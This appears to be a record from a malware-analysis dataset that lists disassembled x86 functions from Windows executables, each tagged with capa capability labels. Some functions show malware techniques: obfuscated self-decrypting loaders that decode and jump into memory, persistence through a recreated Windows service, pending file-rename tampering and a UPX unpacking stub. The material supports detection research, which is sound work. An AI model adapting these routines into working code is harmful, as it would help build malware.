joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43bfec
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x461008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00432f37
mov dword [ebp - 0x14], eax
cmp dword [0x463b50], esi
jne 0x43c0df
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x43c06c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x43c1bf
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x43c1bf
push 0x450eec
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x43c1bf
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x463b50], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x463b54], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x463b58], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x463b60], eax
test eax, eax
je 0x43c0dc
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x463b5c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x43c104
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x43c0f7
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x43c119
push 4
pop eax
jmp 0x43c1c1
cmp dword [ebp - 0x14], esi
je 0x43c119
push dword [0x463b50]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x43c0fe
mov eax, dword [0x463b5c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x43c177
cmp dword [0x463b60], edi
je 0x43c177
push eax
call ebx
push dword [0x463b60]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x43c177
test eax, eax
je 0x43c177
call ecx
test eax, eax
je 0x43c16c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x43c16c
test byte [ebp - 8], 1
jne 0x43c177
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x43c1a7
mov eax, dword [0x463b54]
cmp eax, edi
je 0x43c1a4
push eax
call ebx
test eax, eax
je 0x43c1a4
call eax
mov esi, eax
test esi, esi
je 0x43c1a4
mov eax, dword [0x463b58]
cmp eax, edi
je 0x43c1a4
push eax
call ebx
test eax, eax
je 0x43c1a4
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x463b50]
call ebx
test eax, eax
je 0x43c1bf
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x43c1c1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042cfd6
mov esp, ebp
pop ebp
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00406dc2
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00406dc2
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00406dc2
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00406dc2
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00406dc2
mov dword [0x41203c], eax
call fcn.00406dc2
test eax, eax
jge 0x402550
push 8
call fcn.00406dc2
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00406dc2
pop ecx
push 1
call fcn.00406dc2
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00406dc2
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00406dc2
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00406dc2
jmp 0x402495

Function at 0x406dc2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x406dd1
pop dword [ebp - 0x14]
mov eax, 0x406dd1
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3969d
push 0
mov eax, 0x729546bc
sub eax, 0x725465e4
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x4879
xor edi, edi
add edi, eax
mov ebx, 0x126ab137
add ebx, 0xedd68a8d
add ebx, dword [ebp - 0x14]
mov esi, 0xc06ddca2
mov edx, dword [ebx]
sub dword [ebp - 4], edx
add edx, esi
xor dword [ebp - 8], 0x621f82f3
mov dword [edi], edx
add edi, 0x24687cc5
sub edi, 0x24687cc1
add ebx, 0x7338ac30
add ebx, 0x8cc753d4
loop 0x406e21
add eax, 0x2663a217
sub eax, 0x26628d60
mov ebx, eax
add eax, 0xa2d947b5
sub eax, 0xa2d947b0
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4010fc
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x40110e
mov eax, dword [0x40d08b]
shl eax, 2
mov dword [0x40d08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004047b0
pop edx
call fcn.00403ab8
call fcn.004047b4
push 0
call fcn.00405b7c
pop ecx
push 0x40d034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x40d093], eax
push 0
jmp fcn.00409cd8
Function at 0x40205c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
mov byte [ebp - 0x41], cl
mov dword [ebp - 0x40], edx
mov ebx, eax
mov eax, 0x40db9c
call fcn.00404edc
cmp byte [ebp - 0x41], 0
jne 0x4020ac
push ebx
call sub.KERNEL32.DLL_GetFileAttributesW
cmp eax, 0xffffffff
je 0x4020ac
test ah, 0x40
je 0x4020ac
mov cl, 1
mov edx, 0x10000000
mov eax, ebx
call fcn.0040205c
cmp dword [0x40d2e0], 0
je 0x4020ac
push 0
push ebx
call dword [0x40d2e0]
push 1
lea edx, [ebp - 0x58]
push edx
call sub.ADVAPI32.DLL_InitializeSecurityDescriptor
test eax, eax
jne 0x4020c9
xor eax, eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
jmp 0x402131
push 0
lea ecx, [ebp - 0x58]
push dword [0x411acc]
push ecx
call sub.ADVAPI32.DLL_SetSecurityDescriptorOwner
lea eax, [ebp - 0x58]
push eax
push 1
push ebx
call sub.ADVAPI32.DLL_SetFileSecurityW
mov word [ebp - 0x2c], 8
lea eax, [ebp - 0x18]
mov ecx, dword [ebp - 0x40]
mov edx, dword [0x411ac8]
call fcn.00402e70
mov esi, eax
add dword [ebp - 0x20], 2
push esi
push 4
push ebx
call sub.ADVAPI32.DLL_SetFileSecurityW
test eax, eax
mov edx, 2
setne al
and eax, 1
push eax
lea eax, [ebp - 0x18]
sub dword [ebp - 0x20], 2
call fcn.00402f40
pop eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402138
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x402141
mov eax, dword [ebp - 4]
add esp, 0xffffffcc
push ebx
cmp dword [0x40d2e4], 0
jne 0x402162
mov al, 1
jmp 0x40225e
xor edx, edx
lea ecx, [ebp - 4]
mov dword [ebp - 4], edx
xor edx, edx
mov dword [ebp - 0x20], edx
push ecx
lea ebx, [ebp - 0x10038]
push 0x10014
push ebx
push 5
push eax
call sub.ADVAPI32.DLL_GetFileSecurityW
test eax, eax
je 0x40220f
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
call sub.ADVAPI32.DLL_GetSecurityDescriptorOwner
test eax, eax
je 0x40220f
push dword [0x411acc]
push dword [ebp - 0x24]
call sub.ADVAPI32.DLL_EqualSid
test eax, eax
je 0x40220f
lea edx, [ebp - 8]
lea ecx, [ebp - 0xa]
push edx
push ecx
push ebx
call sub.ADVAPI32.DLL_GetSecurityDescriptorControl
test eax, eax
je 0x40220f
test byte [ebp - 9], 0x10
jne 0x4021ce
test byte [ebp - 9], 4
jne 0x40220f
test byte [ebp - 0xa], 4
je 0x40220f
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x10]
push ecx
push ebx
call sub.ADVAPI32.DLL_GetSecurityDescriptorDacl
test eax, eax
je 0x40220f
cmp dword [ebp - 0x18], 0
je 0x40220f
mov eax, dword [ebp - 0x18]
cmp word [eax + 4], 1
jne 0x40220f
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push edx
push ecx
push dword [ebp - 0x18]
call dword [0x40d2e4]
test eax, eax
je 0x402213
mov al, 1
jmp 0x40225e
xor ebx, ebx
cmp dword [ebp - 0x1c], 1
jne 0x40224c
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
and edx, 0x1f01ff
cmp edx, 0x1200a9
jne 0x40224c
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 4], 1
jne 0x40224c
push dword [0x411ac8]
mov eax, dword [ebp - 0x20]
push dword [eax + 0x1c]
call sub.ADVAPI32.DLL_EqualSid
test eax, eax
jne 0x40224e
mov bl, 1
cmp dword [ebp - 0x20], 0
je 0x40225c
push dword [ebp - 0x20]
call sub.KERNEL32.DLL_LocalFree
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402288
Capabilities:
Delete file
Move file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, 0x40dbd0
call fcn.00404edc
push 0
lea edx, [ebp - 0x2c]
push edx
push 0
push 1
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlSession_Manager
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExW
test eax, eax
jne 0x4023bf
xor ecx, ecx
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], ecx
push eax
push 0
push 0
push 0
push 0x40d162
push dword [ebp - 0x2c]
call sub.ADVAPI32.DLL_RegQueryValueExW
mov word [ebp - 0x18], 8
mov edi, dword [ebp - 0x30]
inc edi
shr edi, 1
add edi, edi
mov dword [ebp - 0x34], edi
push dword [ebp - 0x34]
push 0
push dword [0x40ed7c]
call sub.KERNEL32.DLL_HeapAlloc
mov dword [ebp - 4], eax
lea eax, [ebp - 0x30]
inc dword [ebp - 0xc]
mov word [ebp - 0x18], 0x14
push eax
push dword [ebp - 4]
push 0
push 0
push str.PendingFileRenameOperations
push dword [ebp - 0x2c]
call sub.ADVAPI32.DLL_RegQueryValueExW
test eax, eax
jne 0x4023a1
cmp dword [ebp - 0x30], 0
je 0x4023a1
mov ecx, 2
mov eax, dword [ebp - 0x30]
xor edx, edx
div ecx
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
mov word [ecx + eax*2 - 2], 0
jmp 0x402358
mov edx, dword [ebp - 4]
mov word [edx + edi*2], 0x20
push dword [ebp - 4]
call sub.KERNEL32.DLL_lstrlenW
mov edi, eax
mov edx, dword [ebp - 0x30]
dec edx
cmp eax, edx
jb 0x40234f
push esi
push dword [ebp - 4]
call fcn.00404e78
add esp, 8
test eax, eax
je 0x4023a1
push dword [ebp - 0x2c]
call sub.ADVAPI32.DLL_RegCloseKey
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00402484
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
jmp 0x402429
push dword [ebp - 0x2c]
call sub.ADVAPI32.DLL_RegCloseKey
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00402484
mov word [ebp - 0x18], 0
push ebx
call sub.KERNEL32.DLL_DeleteFileW
test eax, eax
jne 0x4023dd
xor ecx, ecx
mov edx, 0x10000000
mov eax, ebx
call fcn.0040205c
push ebx
call sub.KERNEL32.DLL_DeleteFileW
push ebx
push esi
call sub.KERNEL32.DLL_MoveFileW
test eax, eax
je 0x4023f4
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
jmp 0x402429
xor ecx, ecx
mov edx, 0x10000000
mov eax, esi
call fcn.0040205c
push ebx
push esi
call sub.KERNEL32.DLL_MoveFileW
test eax, eax
jne 0x402420
push 4
push 0
push ebx
call sub.KERNEL32.DLL_MoveFileExW
push 4
push ebx
push esi
call sub.KERNEL32.DLL_MoveFileExW
mov eax, dword [ebp - 0x28]
mov dword fs:[0], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402508
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor esi, esi
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push edx
call sub.KERNEL32.DLL_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40259e
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
mov edi, eax
cmp edi, 0xffffffff
je 0x402598
cmp edi, 0x400
jbe 0x402598
mov eax, edi
push 0
sub eax, 0x400
push 0
push eax
push ebx
call sub.KERNEL32.DLL_SetFilePointer
xor edx, edx
lea ecx, [ebp - 8]
mov dword [ebp - 8], edx
push 0
push ecx
lea eax, [ebp - 0x24]
push 0x1c
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
test eax, eax
je 0x402598
cmp dword [ebp - 8], 0x1c
jne 0x402598
cmp edi, dword [ebp - 0x20]
jne 0x402598
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 4]
jne 0x402598
lea eax, [ebp - 0x24]
call fcn.00402d58
test al, al
je 0x402598
mov esi, dword [ebp - 0x24]
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402838
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, 0x411b00
call fcn.00401ce4
test al, al
jne 0x402860
call fcn.00401ff0
call fcn.00401a24
call fcn.00401acc
call fcn.00401a24
xor ebx, ebx
mov eax, dword [esi + ebx*8]
call fcn.00402264
push dword [esi + ebx*8]
call sub.KERNEL32.DLL_GetFileAttributesW
cmp eax, 0xffffffff
jne 0x40288d
mov ecx, dword [esi + ebx*8]
mov edx, dword [ebx*4 + 0x40d308]
mov eax, dword [0x40d320]
call fcn.00402a20
jmp 0x4028a1
test ah, 0x40
je 0x4028a1
mov eax, dword [esi + ebx*8]
xor ecx, ecx
mov edx, 0xa0000000
call fcn.0040205c
inc ebx
cmp ebx, 4
jb 0x402862
cmp dword [0x40d31c], 3
je 0x402904
push 0
lea eax, [ebp - 4]
push 0
push eax
push 0
push str.Start
push dword [0x411b28]
call sub.ADVAPI32.DLL_RegQueryValueExW
test eax, eax
jne 0x4028d4
cmp dword [ebp - 4], 4
je 0x402904
push dword [0x411b28]
call sub.ADVAPI32.DLL_RegCloseKey
xor edx, edx
mov dword [0x411b28], edx
call fcn.00402da4
push 0x411b28
push 1
push 0
push str.SYSTEMCurrentControlSetServicesLcss
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExW
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x40290c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, 0x40dc30
call fcn.00404edc
mov word [ebp - 0x18], 8
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push ebx
call sub.KERNEL32.DLL_CreateFileW
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a0d
push 2
push 0
push 0xfffffc00
push ebx
call sub.KERNEL32.DLL_SetFilePointer
xor edx, edx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], edx
push 0
push ecx
lea eax, [ebp - 0x48]
push 0x1c
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x48]
mov dword [edx + 0x1c], ecx
mov ecx, 8
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x34]
add eax, 0xc
call fcn.00403462
mov ebx, dword [ebp - 0x38]
test ebx, ebx
jl 0x40299c
cmp ebx, 2
jl 0x4029a7
mov eax, dword [ebp - 0x28]
mov dword fs:[0], eax
jmp 0x402a0d
mov edx, dword [ebp - 4]
xor ecx, ecx
mov dword [edx + ebx*4 + 4], ecx
mov edx, dword [ebp + ebx*4 - 0x34]
mov ecx, dword [ebp + ebx*4 - 0x34]
xor eax, eax
cmp ebx, eax
jle 0x4029d8
mov esi, dword [ebp - 4]
mov dword [esi + eax*4 + 4], edx
add edx, dword [ebp + eax*4 - 0x34]
cmp ecx, dword [ebp + eax*4 - 0x34]
jae 0x4029d3
mov ecx, dword [ebp + eax*4 - 0x34]
inc eax
cmp ebx, eax
jg 0x4029be
lea eax, [ebx + 1]
mov word [ebp - 0x18], 8
cmp eax, 2
jge 0x402a01
mov ebx, dword [ebp - 4]
mov dword [ebx + eax*4 + 4], edx
add edx, dword [ebp + eax*4 - 0x34]
cmp ecx, dword [ebp + eax*4 - 0x34]
jae 0x4029fb
mov ecx, dword [ebp + eax*4 - 0x34]
inc eax
cmp eax, 2
jl 0x4029e6
mov eax, dword [ebp - 4]
mov dword [eax + 0x14], ecx
mov eax, dword [ebp - 4]
mov dword [eax + 0x18], edx
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402da4
Capabilities:
Create service
Delete service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerW
mov ebx, eax
test ebx, ebx
je 0x402e6b
push 0xf01ff
push 0x40d22e
push ebx
call sub.ADVAPI32.DLL_OpenServiceW
mov esi, eax
test esi, esi
je 0x402de4
push esi
call sub.ADVAPI32.DLL_DeleteService
push esi
call sub.ADVAPI32.DLL_CloseServiceHandle
push 0
push 0
mov eax, 0x411b18
push 0
push 0
push 0
push dword [eax]
push 0
push 2
push 0x10
push 0xf01ff
push 0x40dabe
push 0x40d22e
push ebx
call sub.ADVAPI32.DLL_CreateServiceW
mov esi, eax
test esi, esi
je 0x402e26
push 0
push 0
push esi
call sub.ADVAPI32.DLL_StartServiceW
push esi
call sub.ADVAPI32.DLL_CloseServiceHandle
push ebx
call sub.ADVAPI32.DLL_CloseServiceHandle
xor eax, eax
mov dword [ebp - 4], eax
lea edx, [ebp - 4]
push edx
push 2
push 0
push str.SYSTEMCurrentControlSetServicesLcss
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExW
push 0xa4
push 0x40d23c
push 1
push 0
push str.Description
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExW
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x404474
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret

Function at 0x408bc8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x408c2a
call fcn.00408b78
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00404cb4
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00404cb4
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x408ca8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x4109f4], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x408d82
cmp dword [0x4109f0], 0
jne 0x408d82
cmp dword [0x410bfc], 0
je 0x408d3c
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00408a78
add esp, 8
mov ebx, eax
test eax, eax
jne 0x408d22
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00408a78
add esp, 8
mov ebx, eax
test eax, eax
jne 0x408d22
lea ebx, [ebp - 0x84]
jmp 0x408d23
inc ebx
call fcn.00408c64
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x408dbd
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x4109f8
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00404cb4
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x4109fb
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x408dbd
cmp dword [0x4109f0], 0
je 0x408d9c
cmp dword [0x4109f0], 0xffffffff
je 0x408dbd
push esi
call dword [0x4109f0]
pop ecx
mov eax, dword [0x4109f4]
test eax, eax
je 0x408dbd
cmp dword [0x4109f4], 0xffffffff
je 0x408dbd
cmp byte [eax], 0
je 0x408dbd
push esi
push eax
call fcn.00408bc8
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5fd5c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a9000]
mov dword [edi + 0x1d9c9c], 0x5df01508
push edi
or ebp, 0xffffffff
jmp 0x5fd5ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5fd5f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fd5e0
mov eax, 1
add ebx, ebx
jne 0x5fd603
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5fd614
jne 0x5fd624
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fd624
dec eax
add ebx, ebx
jne 0x5fd620
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5fd5f8
xor ecx, ecx
sub eax, 3
jb 0x5fd63c
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5fd6ae
sar eax, 1
mov ebp, eax
jmp 0x5fd647
add ebx, ebx
jne 0x5fd647
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x5fd654
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x5fd678
inc ecx
add ebx, ebx
jne 0x5fd664
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5fd659
jne 0x5fd675
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5fd659
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5fd698
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5fd689
jmp 0x5fd5e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5fd698
add edi, ecx
jmp 0x5fd5e6
pop esi
mov edi, esi
mov ecx, 0x5949
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5fd6b6
cmp byte [edi], 0x1e
jne 0x5fd6b6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x5fd6bb
lea edi, [esi + 0x1fa000]
mov eax, dword [edi]
or eax, eax
je 0x5fd733
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1fda88]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1fdbb4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5fd6e8
mov ecx, edi
jns 0x5fd717
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1fdbb8]
or eax, eax
je 0x5fd72d
mov dword [ebx], eax
add ebx, 4
jmp 0x5fd705
call dword [esi + 0x1fdbbc]
popal
jmp section.UPX0
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1002aaee
pop dword [ebp - 0x40]
mov eax, 0x1002aaee
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xc1052e58
sub dword [ebp - 0x50], 0x72b2e90d
mov dword [ebp - 0x4c], 0x4830fe2e
sub dword [ebp - 0x4c], 0x15fdb1e9
mov dword [ebp - 0x48], 0xe0d82d51
sub dword [ebp - 0x48], 0x948be923
mov dword [ebp - 0x44], 0xb0407ade
add dword [ebp - 0x44], 0x4fbf8522
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x231f649d
add dword [ebp - 0x50], 0x515304b9
mov dword [ebp - 0x4c], 0xd1684c0d
sub dword [ebp - 0x4c], 0x8ffbea98
mov dword [ebp - 0x48], 0x636ea614
add dword [ebp - 0x48], 0xc658
mov dword [ebp - 0x44], 0xc2d87e5c
add dword [ebp - 0x44], 0x3d2781a4
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x7ccd0de8
add eax, 0x9335b240
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x377f4
push 0
call eax
mov ecx, 0x513aa78
add ecx, 0xfaeca1a6
mov esi, eax
mov edx, 0x23d0540a
add edx, 0xec3341f6
add edx, dword [ebp - 0x40]
mov edi, 0x9f9f18d3
mov dword [ebp - 0x30], 0x52dac1ca
mov ebx, dword [edx]
add dword [ebp - 0x20], 0xbf290104
add ebx, edi
xor dword [ebp - 0x38], edi
mov dword [esi], ebx
add dword [ebp - 0x28], 0x761ccc8a
add esi, 0x5182bd4f
sub esi, 0x5182bd4b
add edx, 0xa04438e4
add edx, 0x5fbbc720
loop 0x1002ac00
add eax, 0x1234b
xor ebx, ebx
add ebx, eax
add eax, 0x5a9192dd
sub eax, 0x5a9192d8
mov ecx, 0x97157c97
add ecx, 0x78ea8369
add ecx, dword [ebp - 0x40]
call ebx
leave
ret